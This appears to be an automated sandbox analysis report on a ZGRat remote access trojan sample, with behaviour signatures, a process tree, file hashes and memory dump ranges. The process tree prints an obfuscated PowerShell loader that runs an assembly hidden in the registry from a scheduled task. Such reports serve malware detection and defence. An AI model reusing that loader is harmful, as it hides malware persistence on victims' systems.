Analysis

  • max time kernel
    150s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    20/03/2024, 09:25

General

  • Target
    SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe
  • Size 3.1MB
  • Sample240320-ldly2ade33
  • SHA256 dbbe21f14ca93d658be3606974e289edf4b205b22d967324c49cba1950f29b9e
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • Detect ZGRat V1 35 IoCs
  • Modifies security service 2 TTPs 2 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • ZGRat

    ZGRat is remote access trojan written in C#.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Modifies data under HKEY_USERS 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of WriteProcessMemory 50 IoCs

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:436
      • C:\Windows\System32\dllhost.exe
        C:\Windows\System32\dllhost.exe /Processid:{08832a0e-7e32-436d-adb4-2bc554fa5721}
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1256
    • C:\Windows\system32\services.exe
      C:\Windows\system32\services.exe
      1⤵
        PID:480
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k DcomLaunch
          2⤵
            PID:604
            • C:\Windows\system32\wbem\wmiprvse.exe
              C:\Windows\system32\wbem\wmiprvse.exe -Embedding
              3⤵
                PID:2568
            • C:\Windows\system32\svchost.exe
              C:\Windows\system32\svchost.exe -k RPCSS
              2⤵
                PID:684
              • C:\Windows\System32\svchost.exe
                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
                2⤵
                • Modifies security service
                PID:748
              • C:\Windows\System32\svchost.exe
                C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
                2⤵
                  PID:808
                  • C:\Windows\system32\Dwm.exe
                    "C:\Windows\system32\Dwm.exe"
                    3⤵
                      PID:1796
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k netsvcs
                    2⤵
                      PID:856
                      • C:\Windows\system32\taskeng.exe
                        taskeng.exe {FD2CC624-8A3A-4F11-A5FC-5C4852613FFC} S-1-5-18:NT AUTHORITY\System:Service:
                        3⤵
                        • Suspicious use of WriteProcessMemory
                        PID:2848
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+[Char](70)+''+[Char](84)+''+[Char](87)+''+'A'+''+'R'+''+[Char](69)+'').GetValue('$'+[Char](55)+'7'+'s'+''+[Char](116)+'ag'+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
                          4⤵
                          • Suspicious use of NtCreateUserProcessOtherParentProcess
                          • Drops file in System32 directory
                          • Suspicious use of SetThreadContext
                          • Modifies data under HKEY_USERS
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          • Suspicious use of WriteProcessMemory
                          PID:1728
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k LocalService
                      2⤵
                        PID:972
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k NetworkService
                        2⤵
                          PID:240
                        • C:\Windows\System32\spoolsv.exe
                          C:\Windows\System32\spoolsv.exe
                          2⤵
                            PID:332
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
                            2⤵
                              PID:1076
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation
                              2⤵
                                PID:1704
                              • C:\Windows\system32\sppsvc.exe
                                C:\Windows\system32\sppsvc.exe
                                2⤵
                                  PID:1808
                              • C:\Windows\system32\lsass.exe
                                C:\Windows\system32\lsass.exe
                                1⤵
                                  PID:492
                                • C:\Windows\system32\lsm.exe
                                  C:\Windows\system32\lsm.exe
                                  1⤵
                                    PID:500
                                  • C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe
                                    "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe"
                                    1⤵
                                    • Loads dropped DLL
                                    • Suspicious use of SetThreadContext
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of AdjustPrivilegeToken
                                    • Suspicious use of WriteProcessMemory
                                    PID:2928
                                    • C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe
                                      "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe"
                                      2⤵
                                        PID:2576
                                      • C:\Users\Admin\AppData\Local\Temp\$773864ba5ec43f
                                        "C:\Users\Admin\AppData\Local\Temp\$773864ba5ec43f"
                                        2⤵
                                        • Executes dropped EXE
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:1948

                                    Network

                                          MITRE ATT&CK Enterprise v15

                                          Replay Monitor

                                          Loading Replay Monitor...

                                          Downloads

                                          $773864ba5ec43f

                                          • Path \Users\Admin\AppData\Local\Temp\$773864ba5ec43f
                                          • Size 3.1MB
                                          • SHA256 dbbe21f14ca93d658be3606974e289edf4b205b22d967324c49cba1950f29b9e
                                          • MD5 SHA1 SHA512 SSDEEP

                                          memory/436-5001-0x0000000077881000-0x0000000077882000-memory.dmp

                                          memory/436-4982-0x0000000000B70000-0x0000000000B95000-memory.dmp

                                          memory/480-5025-0x0000000037870000-0x0000000037880000-memory.dmp

                                          memory/500-5060-0x0000000037870000-0x0000000037880000-memory.dmp

                                          memory/604-5080-0x0000000037870000-0x0000000037880000-memory.dmp

                                          memory/684-5085-0x0000000037870000-0x0000000037880000-memory.dmp

                                          memory/1256-4971-0x0000000077610000-0x000000007772F000-memory.dmp

                                          memory/1256-4970-0x0000000077830000-0x00000000779D9000-memory.dmp

                                          memory/1256-5018-0x0000000077830000-0x00000000779D9000-memory.dmp

                                          memory/1728-4955-0x0000000001530000-0x00000000015B0000-memory.dmp

                                          memory/1728-4952-0x0000000001530000-0x00000000015B0000-memory.dmp

                                          memory/1728-4973-0x000007FEF5C20000-0x000007FEF65BD000-memory.dmp

                                          memory/1728-4981-0x0000000077610000-0x000000007772F000-memory.dmp

                                          memory/1728-4948-0x0000000019F10000-0x000000001A1F2000-memory.dmp

                                          memory/1728-4960-0x0000000077610000-0x000000007772F000-memory.dmp

                                          memory/1728-4957-0x0000000077830000-0x00000000779D9000-memory.dmp

                                          memory/1728-4956-0x0000000001500000-0x000000000152A000-memory.dmp

                                          memory/1728-4949-0x000007FEF5C20000-0x000007FEF65BD000-memory.dmp

                                          memory/1728-4954-0x0000000001270000-0x0000000001278000-memory.dmp

                                          memory/1728-4953-0x0000000001530000-0x00000000015B0000-memory.dmp

                                          memory/1728-4975-0x0000000077830000-0x00000000779D9000-memory.dmp

                                          memory/1728-4951-0x000007FEF5C20000-0x000007FEF65BD000-memory.dmp

                                          memory/1728-4950-0x0000000001530000-0x00000000015B0000-memory.dmp

                                          memory/1948-4987-0x00000000749D0000-0x00000000750BE000-memory.dmp

                                          memory/1948-4904-0x0000000004B10000-0x0000000004B50000-memory.dmp

                                          memory/1948-4903-0x0000000004B50000-0x0000000004C38000-memory.dmp

                                          memory/1948-4901-0x0000000000400000-0x000000000049C000-memory.dmp

                                          memory/1948-4902-0x00000000749D0000-0x00000000750BE000-memory.dmp

                                          memory/1948-5006-0x0000000004B10000-0x0000000004B50000-memory.dmp

                                          memory/2576-4886-0x0000000000400000-0x000000000042B000-memory.dmp

                                          memory/2928-31-0x0000000006200000-0x000000000650C000-memory.dmp

                                          memory/2928-41-0x0000000006200000-0x000000000650C000-memory.dmp

                                          memory/2928-61-0x0000000006200000-0x000000000650C000-memory.dmp

                                          memory/2928-63-0x0000000006200000-0x000000000650C000-memory.dmp

                                          memory/2928-65-0x0000000006200000-0x000000000650C000-memory.dmp

                                          memory/2928-67-0x0000000006200000-0x000000000650C000-memory.dmp

                                          memory/2928-1986-0x0000000074A50000-0x000000007513E000-memory.dmp

                                          memory/2928-2534-0x0000000004A10000-0x0000000004A50000-memory.dmp

                                          memory/2928-4866-0x0000000000410000-0x0000000000411000-memory.dmp

                                          memory/2928-4867-0x0000000005070000-0x000000000515C000-memory.dmp

                                          memory/2928-4868-0x0000000000B90000-0x0000000000BDC000-memory.dmp

                                          memory/2928-4885-0x0000000004A50000-0x0000000004AA4000-memory.dmp

                                          memory/2928-57-0x0000000006200000-0x000000000650C000-memory.dmp

                                          memory/2928-55-0x0000000006200000-0x000000000650C000-memory.dmp

                                          memory/2928-4898-0x0000000074A50000-0x000000007513E000-memory.dmp

                                          memory/2928-53-0x0000000006200000-0x000000000650C000-memory.dmp

                                          memory/2928-51-0x0000000006200000-0x000000000650C000-memory.dmp

                                          memory/2928-49-0x0000000006200000-0x000000000650C000-memory.dmp

                                          memory/2928-47-0x0000000006200000-0x000000000650C000-memory.dmp

                                          memory/2928-45-0x0000000006200000-0x000000000650C000-memory.dmp

                                          memory/2928-43-0x0000000006200000-0x000000000650C000-memory.dmp

                                          memory/2928-59-0x0000000006200000-0x000000000650C000-memory.dmp

                                          memory/2928-39-0x0000000006200000-0x000000000650C000-memory.dmp

                                          memory/2928-37-0x0000000006200000-0x000000000650C000-memory.dmp

                                          memory/2928-35-0x0000000006200000-0x000000000650C000-memory.dmp

                                          memory/2928-33-0x0000000006200000-0x000000000650C000-memory.dmp

                                          memory/2928-1-0x0000000074A50000-0x000000007513E000-memory.dmp

                                          memory/2928-29-0x0000000006200000-0x000000000650C000-memory.dmp

                                          memory/2928-27-0x0000000006200000-0x000000000650C000-memory.dmp

                                          memory/2928-25-0x0000000006200000-0x000000000650C000-memory.dmp

                                          memory/2928-23-0x0000000006200000-0x000000000650C000-memory.dmp

                                          memory/2928-21-0x0000000006200000-0x000000000650C000-memory.dmp

                                          memory/2928-19-0x0000000006200000-0x000000000650C000-memory.dmp

                                          memory/2928-17-0x0000000006200000-0x000000000650C000-memory.dmp

                                          memory/2928-15-0x0000000006200000-0x000000000650C000-memory.dmp

                                          memory/2928-13-0x0000000006200000-0x000000000650C000-memory.dmp

                                          memory/2928-11-0x0000000006200000-0x000000000650C000-memory.dmp

                                          memory/2928-9-0x0000000006200000-0x000000000650C000-memory.dmp

                                          memory/2928-7-0x0000000006200000-0x000000000650C000-memory.dmp

                                          memory/2928-5-0x0000000006200000-0x000000000650C000-memory.dmp

                                          memory/2928-4-0x0000000006200000-0x000000000650C000-memory.dmp

                                          memory/2928-3-0x0000000006200000-0x0000000006512000-memory.dmp

                                          memory/2928-2-0x0000000004A10000-0x0000000004A50000-memory.dmp

                                          memory/2928-0-0x0000000000C00000-0x0000000000F22000-memory.dmp